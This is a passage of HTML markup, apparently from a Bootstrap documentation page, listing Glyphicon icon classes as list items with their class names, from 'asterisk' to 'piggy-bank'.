aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-asterisk</span> </li> <li> <span class="glyphicon glyphicon-plus" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-plus</span> </li> <li> <span class="glyphicon glyphicon-euro" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-euro</span> </li> <li> <span class="glyphicon glyphicon-eur" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-eur</span> </li> <li> <span class="glyphicon glyphicon-minus" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-minus</span> </li> <li> <span class="glyphicon glyphicon-cloud" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-cloud</span> </li> <li> <span class="glyphicon glyphicon-envelope" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-envelope</span> </li> <li> <span class="glyphicon glyphicon-pencil" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-pencil</span> </li> <li> <span class="glyphicon glyphicon-glass" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-glass</span> </li> <li> <span class="glyphicon glyphicon-music" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-music</span> </li> <li> <span class="glyphicon glyphicon-search" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-search</span> </li> <li> <span class="glyphicon glyphicon-heart" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-heart</span> </li> <li> <span class="glyphicon glyphicon-star" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-star</span> </li> <li> <span class="glyphicon glyphicon-star-empty" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-star-empty</span> </li> <li> <span class="glyphicon glyphicon-user" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-user</span> </li> <li> <span class="glyphicon glyphicon-film" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-film</span> </li> <li> <span class="glyphicon glyphicon-th-large" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-th-large</span> </li> <li> <span class="glyphicon glyphicon-th" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-th</span> </li> <li> <span class="glyphicon glyphicon-th-list" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-th-list</span> </li> <li> <span class="glyphicon glyphicon-ok" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-ok</span> </li> <li> <span class="glyphicon glyphicon-remove" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-remove</span> </li> <li> <span class="glyphicon glyphicon-zoom-in" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-zoom-in</span> </li> <li> <span class="glyphicon glyphicon-zoom-out" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-zoom-out</span> </li> <li> <span class="glyphicon glyphicon-off" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-off</span> </li> <li> <span class="glyphicon glyphicon-signal" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-signal</span> </li> <li> <span class="glyphicon glyphicon-cog" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-cog</span> </li> <li> <span class="glyphicon glyphicon-trash" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-trash</span> </li> <li> <span class="glyphicon glyphicon-home" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-home</span> </li> <li> <span class="glyphicon glyphicon-file" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-file</span> </li> <li> <span class="glyphicon glyphicon-time" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-time</span> </li> <li> <span class="glyphicon glyphicon-road" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-road</span> </li> <li> <span class="glyphicon glyphicon-download-alt" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-download-alt</span> </li> <li> <span class="glyphicon glyphicon-download" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-download</span> </li> <li> <span class="glyphicon glyphicon-upload" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-upload</span> </li> <li> <span class="glyphicon glyphicon-inbox" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-inbox</span> </li> <li> <span class="glyphicon glyphicon-play-circle" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-play-circle</span> </li> <li> <span class="glyphicon glyphicon-repeat" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-repeat</span> </li> <li> <span class="glyphicon glyphicon-refresh" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-refresh</span> </li> <li> <span class="glyphicon glyphicon-list-alt" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-list-alt</span> </li> <li> <span class="glyphicon glyphicon-lock" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-lock</span> </li> <li> <span class="glyphicon glyphicon-flag" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-flag</span> </li> <li> <span class="glyphicon glyphicon-headphones" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-headphones</span> </li> <li> <span class="glyphicon glyphicon-volume-off" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-volume-off</span> </li> <li> <span class="glyphicon glyphicon-volume-down" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-volume-down</span> </li> <li> <span class="glyphicon glyphicon-volume-up" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-volume-up</span> </li> <li> <span class="glyphicon glyphicon-qrcode" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-qrcode</span> </li> <li> <span class="glyphicon glyphicon-barcode" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-barcode</span> </li> <li> <span class="glyphicon glyphicon-tag" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-tag</span> </li> <li> <span class="glyphicon glyphicon-tags" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-tags</span> </li> <li> <span class="glyphicon glyphicon-book" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-book</span> </li> <li> <span class="glyphicon glyphicon-bookmark" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-bookmark</span> </li> <li> <span class="glyphicon glyphicon-print" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-print</span> </li> <li> <span class="glyphicon glyphicon-camera" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-camera</span> </li> <li> <span class="glyphicon glyphicon-font" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-font</span> </li> <li> <span class="glyphicon glyphicon-bold" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-bold</span> </li> <li> <span class="glyphicon glyphicon-italic" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-italic</span> </li> <li> <span class="glyphicon glyphicon-text-height" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-text-height</span> </li> <li> <span class="glyphicon glyphicon-text-width" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-text-width</span> </li> <li> <span class="glyphicon glyphicon-align-left" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-align-left</span> </li> <li> <span class="glyphicon glyphicon-align-center" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-align-center</span> </li> <li> <span class="glyphicon glyphicon-align-right" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-align-right</span> </li> <li> <span class="glyphicon glyphicon-align-justify" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-align-justify</span> </li> <li> <span class="glyphicon glyphicon-list" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-list</span> </li> <li> <span class="glyphicon glyphicon-indent-left" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-indent-left</span> </li> <li> <span class="glyphicon glyphicon-indent-right" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-indent-right</span> </li> <li> <span class="glyphicon glyphicon-facetime-video" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-facetime-video</span> </li> <li> <span class="glyphicon glyphicon-picture" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-picture</span> </li> <li> <span class="glyphicon glyphicon-map-marker" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-map-marker</span> </li> <li> <span class="glyphicon glyphicon-adjust" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-adjust</span> </li> <li> <span class="glyphicon glyphicon-tint" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-tint</span> </li> <li> <span class="glyphicon glyphicon-edit" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-edit</span> </li> <li> <span class="glyphicon glyphicon-share" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-share</span> </li> <li> <span class="glyphicon glyphicon-check" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-check</span> </li> <li> <span class="glyphicon glyphicon-move" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-move</span> </li> <li> <span class="glyphicon glyphicon-step-backward" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-step-backward</span> </li> <li> <span class="glyphicon glyphicon-fast-backward" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-fast-backward</span> </li> <li> <span class="glyphicon glyphicon-backward" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-backward</span> </li> <li> <span class="glyphicon glyphicon-play" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-play</span> </li> <li> <span class="glyphicon glyphicon-pause" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-pause</span> </li> <li> <span class="glyphicon glyphicon-stop" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-stop</span> </li> <li> <span class="glyphicon glyphicon-forward" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-forward</span> </li> <li> <span class="glyphicon glyphicon-fast-forward" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-fast-forward</span> </li> <li> <span class="glyphicon glyphicon-step-forward" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-step-forward</span> </li> <li> <span class="glyphicon glyphicon-eject" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-eject</span> </li> <li> <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-chevron-left</span> </li> <li> <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-chevron-right</span> </li> <li> <span class="glyphicon glyphicon-plus-sign" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-plus-sign</span> </li> <li> <span class="glyphicon glyphicon-minus-sign" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-minus-sign</span> </li> <li> <span class="glyphicon glyphicon-remove-sign" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-remove-sign</span> </li> <li> <span class="glyphicon glyphicon-ok-sign" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-ok-sign</span> </li> <li> <span class="glyphicon glyphicon-question-sign" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-question-sign</span> </li> <li> <span class="glyphicon glyphicon-info-sign" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-info-sign</span> </li> <li> <span class="glyphicon glyphicon-screenshot" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-screenshot</span> </li> <li> <span class="glyphicon glyphicon-remove-circle" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-remove-circle</span> </li> <li> <span class="glyphicon glyphicon-ok-circle" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-ok-circle</span> </li> <li> <span class="glyphicon glyphicon-ban-circle" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-ban-circle</span> </li> <li> <span class="glyphicon glyphicon-arrow-left" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-arrow-left</span> </li> <li> <span class="glyphicon glyphicon-arrow-right" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-arrow-right</span> </li> <li> <span class="glyphicon glyphicon-arrow-up" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-arrow-up</span> </li> <li> <span class="glyphicon glyphicon-arrow-down" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-arrow-down</span> </li> <li> <span class="glyphicon glyphicon-share-alt" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-share-alt</span> </li> <li> <span class="glyphicon glyphicon-resize-full" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-resize-full</span> </li> <li> <span class="glyphicon glyphicon-resize-small" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-resize-small</span> </li> <li> <span class="glyphicon glyphicon-exclamation-sign" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-exclamation-sign</span> </li> <li> <span class="glyphicon glyphicon-gift" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-gift</span> </li> <li> <span class="glyphicon glyphicon-leaf" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-leaf</span> </li> <li> <span class="glyphicon glyphicon-fire" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-fire</span> </li> <li> <span class="glyphicon glyphicon-eye-open" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-eye-open</span> </li> <li> <span class="glyphicon glyphicon-eye-close" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-eye-close</span> </li> <li> <span class="glyphicon glyphicon-warning-sign" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-warning-sign</span> </li> <li> <span class="glyphicon glyphicon-plane" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-plane</span> </li> <li> <span class="glyphicon glyphicon-calendar" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-calendar</span> </li> <li> <span class="glyphicon glyphicon-random" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-random</span> </li> <li> <span class="glyphicon glyphicon-comment" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-comment</span> </li> <li> <span class="glyphicon glyphicon-magnet" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-magnet</span> </li> <li> <span class="glyphicon glyphicon-chevron-up" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-chevron-up</span> </li> <li> <span class="glyphicon glyphicon-chevron-down" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-chevron-down</span> </li> <li> <span class="glyphicon glyphicon-retweet" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-retweet</span> </li> <li> <span class="glyphicon glyphicon-shopping-cart" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-shopping-cart</span> </li> <li> <span class="glyphicon glyphicon-folder-close" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-folder-close</span> </li> <li> <span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-folder-open</span> </li> <li> <span class="glyphicon glyphicon-resize-vertical" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-resize-vertical</span> </li> <li> <span class="glyphicon glyphicon-resize-horizontal" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-resize-horizontal</span> </li> <li> <span class="glyphicon glyphicon-hdd" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-hdd</span> </li> <li> <span class="glyphicon glyphicon-bullhorn" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-bullhorn</span> </li> <li> <span class="glyphicon glyphicon-bell" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-bell</span> </li> <li> <span class="glyphicon glyphicon-certificate" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-certificate</span> </li> <li> <span class="glyphicon glyphicon-thumbs-up" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-thumbs-up</span> </li> <li> <span class="glyphicon glyphicon-thumbs-down" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-thumbs-down</span> </li> <li> <span class="glyphicon glyphicon-hand-right" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-hand-right</span> </li> <li> <span class="glyphicon glyphicon-hand-left" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-hand-left</span> </li> <li> <span class="glyphicon glyphicon-hand-up" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-hand-up</span> </li> <li> <span class="glyphicon glyphicon-hand-down" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-hand-down</span> </li> <li> <span class="glyphicon glyphicon-circle-arrow-right" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-circle-arrow-right</span> </li> <li> <span class="glyphicon glyphicon-circle-arrow-left" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-circle-arrow-left</span> </li> <li> <span class="glyphicon glyphicon-circle-arrow-up" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-circle-arrow-up</span> </li> <li> <span class="glyphicon glyphicon-circle-arrow-down" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-circle-arrow-down</span> </li> <li> <span class="glyphicon glyphicon-globe" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-globe</span> </li> <li> <span class="glyphicon glyphicon-wrench" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-wrench</span> </li> <li> <span class="glyphicon glyphicon-tasks" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-tasks</span> </li> <li> <span class="glyphicon glyphicon-filter" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-filter</span> </li> <li> <span class="glyphicon glyphicon-briefcase" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-briefcase</span> </li> <li> <span class="glyphicon glyphicon-fullscreen" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-fullscreen</span> </li> <li> <span class="glyphicon glyphicon-dashboard" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-dashboard</span> </li> <li> <span class="glyphicon glyphicon-paperclip" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-paperclip</span> </li> <li> <span class="glyphicon glyphicon-heart-empty" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-heart-empty</span> </li> <li> <span class="glyphicon glyphicon-link" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-link</span> </li> <li> <span class="glyphicon glyphicon-phone" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-phone</span> </li> <li> <span class="glyphicon glyphicon-pushpin" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-pushpin</span> </li> <li> <span class="glyphicon glyphicon-usd" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-usd</span> </li> <li> <span class="glyphicon glyphicon-gbp" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-gbp</span> </li> <li> <span class="glyphicon glyphicon-sort" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sort</span> </li> <li> <span class="glyphicon glyphicon-sort-by-alphabet" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sort-by-alphabet</span> </li> <li> <span class="glyphicon glyphicon-sort-by-alphabet-alt" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sort-by-alphabet-alt</span> </li> <li> <span class="glyphicon glyphicon-sort-by-order" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sort-by-order</span> </li> <li> <span class="glyphicon glyphicon-sort-by-order-alt" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sort-by-order-alt</span> </li> <li> <span class="glyphicon glyphicon-sort-by-attributes" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sort-by-attributes</span> </li> <li> <span class="glyphicon glyphicon-sort-by-attributes-alt" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sort-by-attributes-alt</span> </li> <li> <span class="glyphicon glyphicon-unchecked" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-unchecked</span> </li> <li> <span class="glyphicon glyphicon-expand" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-expand</span> </li> <li> <span class="glyphicon glyphicon-collapse-down" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-collapse-down</span> </li> <li> <span class="glyphicon glyphicon-collapse-up" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-collapse-up</span> </li> <li> <span class="glyphicon glyphicon-log-in" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-log-in</span> </li> <li> <span class="glyphicon glyphicon-flash" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-flash</span> </li> <li> <span class="glyphicon glyphicon-log-out" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-log-out</span> </li> <li> <span class="glyphicon glyphicon-new-window" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-new-window</span> </li> <li> <span class="glyphicon glyphicon-record" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-record</span> </li> <li> <span class="glyphicon glyphicon-save" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-save</span> </li> <li> <span class="glyphicon glyphicon-open" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-open</span> </li> <li> <span class="glyphicon glyphicon-saved" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-saved</span> </li> <li> <span class="glyphicon glyphicon-import" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-import</span> </li> <li> <span class="glyphicon glyphicon-export" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-export</span> </li> <li> <span class="glyphicon glyphicon-send" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-send</span> </li> <li> <span class="glyphicon glyphicon-floppy-disk" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-floppy-disk</span> </li> <li> <span class="glyphicon glyphicon-floppy-saved" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-floppy-saved</span> </li> <li> <span class="glyphicon glyphicon-floppy-remove" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-floppy-remove</span> </li> <li> <span class="glyphicon glyphicon-floppy-save" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-floppy-save</span> </li> <li> <span class="glyphicon glyphicon-floppy-open" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-floppy-open</span> </li> <li> <span class="glyphicon glyphicon-credit-card" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-credit-card</span> </li> <li> <span class="glyphicon glyphicon-transfer" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-transfer</span> </li> <li> <span class="glyphicon glyphicon-cutlery" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-cutlery</span> </li> <li> <span class="glyphicon glyphicon-header" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-header</span> </li> <li> <span class="glyphicon glyphicon-compressed" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-compressed</span> </li> <li> <span class="glyphicon glyphicon-earphone" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-earphone</span> </li> <li> <span class="glyphicon glyphicon-phone-alt" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-phone-alt</span> </li> <li> <span class="glyphicon glyphicon-tower" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-tower</span> </li> <li> <span class="glyphicon glyphicon-stats" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-stats</span> </li> <li> <span class="glyphicon glyphicon-sd-video" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sd-video</span> </li> <li> <span class="glyphicon glyphicon-hd-video" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-hd-video</span> </li> <li> <span class="glyphicon glyphicon-subtitles" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-subtitles</span> </li> <li> <span class="glyphicon glyphicon-sound-stereo" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sound-stereo</span> </li> <li> <span class="glyphicon glyphicon-sound-dolby" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sound-dolby</span> </li> <li> <span class="glyphicon glyphicon-sound-5-1" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sound-5-1</span> </li> <li> <span class="glyphicon glyphicon-sound-6-1" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sound-6-1</span> </li> <li> <span class="glyphicon glyphicon-sound-7-1" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-sound-7-1</span> </li> <li> <span class="glyphicon glyphicon-copyright-mark" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-copyright-mark</span> </li> <li> <span class="glyphicon glyphicon-registration-mark" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-registration-mark</span> </li> <li> <span class="glyphicon glyphicon-cloud-download" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-cloud-download</span> </li> <li> <span class="glyphicon glyphicon-cloud-upload" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-cloud-upload</span> </li> <li> <span class="glyphicon glyphicon-tree-conifer" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-tree-conifer</span> </li> <li> <span class="glyphicon glyphicon-tree-deciduous" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-tree-deciduous</span> </li> <li> <span class="glyphicon glyphicon-cd" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-cd</span> </li> <li> <span class="glyphicon glyphicon-save-file" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-save-file</span> </li> <li> <span class="glyphicon glyphicon-open-file" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-open-file</span> </li> <li> <span class="glyphicon glyphicon-level-up" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-level-up</span> </li> <li> <span class="glyphicon glyphicon-copy" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-copy</span> </li> <li> <span class="glyphicon glyphicon-paste" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-paste</span> </li> <li> <span class="glyphicon glyphicon-alert" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-alert</span> </li> <li> <span class="glyphicon glyphicon-equalizer" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-equalizer</span> </li> <li> <span class="glyphicon glyphicon-king" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-king</span> </li> <li> <span class="glyphicon glyphicon-queen" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-queen</span> </li> <li> <span class="glyphicon glyphicon-pawn" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-pawn</span> </li> <li> <span class="glyphicon glyphicon-bishop" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-bishop</span> </li> <li> <span class="glyphicon glyphicon-knight" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-knight</span> </li> <li> <span class="glyphicon glyphicon-baby-formula" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-baby-formula</span> </li> <li> <span class="glyphicon glyphicon-tent" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-tent</span> </li> <li> <span class="glyphicon glyphicon-blackboard" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-blackboard</span> </li> <li> <span class="glyphicon glyphicon-bed" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-bed</span> </li> <li> <span class="glyphicon glyphicon-apple" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-apple</span> </li> <li> <span class="glyphicon glyphicon-erase" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-erase</span> </li> <li> <span class="glyphicon glyphicon-hourglass" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-hourglass</span> </li> <li> <span class="glyphicon glyphicon-lamp" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-lamp</span> </li> <li> <span class="glyphicon glyphicon-duplicate" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-duplicate</span> </li> <li> <span class="glyphicon glyphicon-piggy-bank" aria-hidden="true"></span> <span class="glyphicon-class">glyphicon glyphicon-piggy-bank</span> </li> <li> <span class="glyphicon 